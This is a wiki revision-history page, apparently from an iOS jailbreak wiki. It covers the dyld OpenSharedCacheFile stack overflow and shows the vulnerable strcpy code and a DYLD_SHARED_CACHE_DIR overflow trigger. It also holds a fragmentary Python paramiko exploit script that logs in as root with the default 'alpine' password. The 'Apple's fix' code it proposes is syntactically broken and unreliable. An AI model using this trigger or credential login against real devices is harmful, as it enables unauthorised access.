OpenSharedCacheFile - Revision history

Inflatable Man: /* Apple's fix */ Add a space

2021-03-05T04:51:49Z

‎Apple's fix: Add a space

2015-03-25T02:21:54Z

‎Exploiting it

2015-03-25T01:30:14Z

2015-03-25T01:29:27Z

2015-03-24T19:10:09Z

‎Exploiting it

2015-03-24T02:16:10Z

2015-03-24T02:09:43Z

2015-03-23T22:12:44Z

Undo revision 45155 by Awesomebing1 (talk) sorry about that, misread it

2015-03-23T22:09:23Z

No s

2015-03-23T10:55:14Z

Grammar dude! Stub too.

@@ Line 34: / Line 34: @@
 == Apple's fix ==
-I'mguessing they added an if-statement to check for the size sSharedCacheDir
+I'm guessing they added an if-statement to check for the size sSharedCacheDir
 so like this.

@@ Line 28: / Line 28: @@
   ssh = paramiko.SSHClient()
   server = "" #whatever IP
-  ssh.connect(server, username=root, password=alpine)
+  ssh.connect(server, username="root", password="alpine")
   ssh.exec_command(actual)
   ssh.exec_command(cmd)
 == Apple's fix ==

@@ Line 40: / Line 40: @@
   void __stack_chk_fail()
+  {
-	_ZN4dyld4haltEPKc("stack buffer overrun");
+  _ZN4dyld4haltEPKc("stack buffer overrun");
+  }
   if(sizeof(sSharedCacheDir >= 1024){
-     __stack_chk_fail();
+  __stack_chk_fail();
+  }

← Older revision		Revision as of 01:29, 25 March 2015
Line 32:		Line 32:
	ssh.exec_command(cmd)		ssh.exec_command(cmd)

		+	== Apple's fix ==

		+	I'mguessing they added an if-statement to check for the size sSharedCacheDir
−	{{stub}}
		+	so like this.
		+
		+	extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));
		+	void __stack_chk_fail()
		+	{
		+	_ZN4dyld4haltEPKc("stack buffer overrun");
		+	}
		+
		+	if(sizeof(sSharedCacheDir >= 1024){
		+	__stack_chk_fail();
		+	}

@@ Line 23: / Line 23: @@
   junk = "A" * 1024
   shellcode = ""
-  payload = DYLD_SHARED_CACHE_DIR = junk+shellcode \
+  payload = "DYLD_SHARED_CACHE_DIR"
   ssh = paramiko.SSHClient()
   server = "" #whatever IP
   ssh.connect(server, username=root, password=alpine)
-  ssh.exec_command(payload)
+  ssh.exec_command(actual)
   ssh.exec_command(cmd)

@@ Line 16: / Line 16: @@
  DYLD_SHARED_REGION = private /bin/launchctl
 This will overflow the PC register making it a stack overflow.
 {{stub}}

@@ Line 13: / Line 13: @@
 To trigger it, run the following
- DYLD_SHARED_CACHE_DIR = “A” * 2000 \
+ DYLD_SHARED_CACHE_DIR = "A" * 2000 \
  DYLD_SHARED_REGION = private /bin/launchctl
 This will overflow the PC register making it a stack overflow.

@@ Line 4: / Line 4: @@
+ {
    char path[1024];
-   strcpy(path, SharedCacheDir);
+   strcpy(path, sSharedCacheDir);
    strcat(path, "/");
    strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);

@@ Line 1: / Line 1: @@
-The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow
+The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.
 == Opensharedcachefile() function ==
  int openSharedCacheFile()
@@ Line 16: / Line 16: @@
  DYLD_SHARED_REGION = private /bin/launchctl
 This will overflow the PC register making it a stack overflow.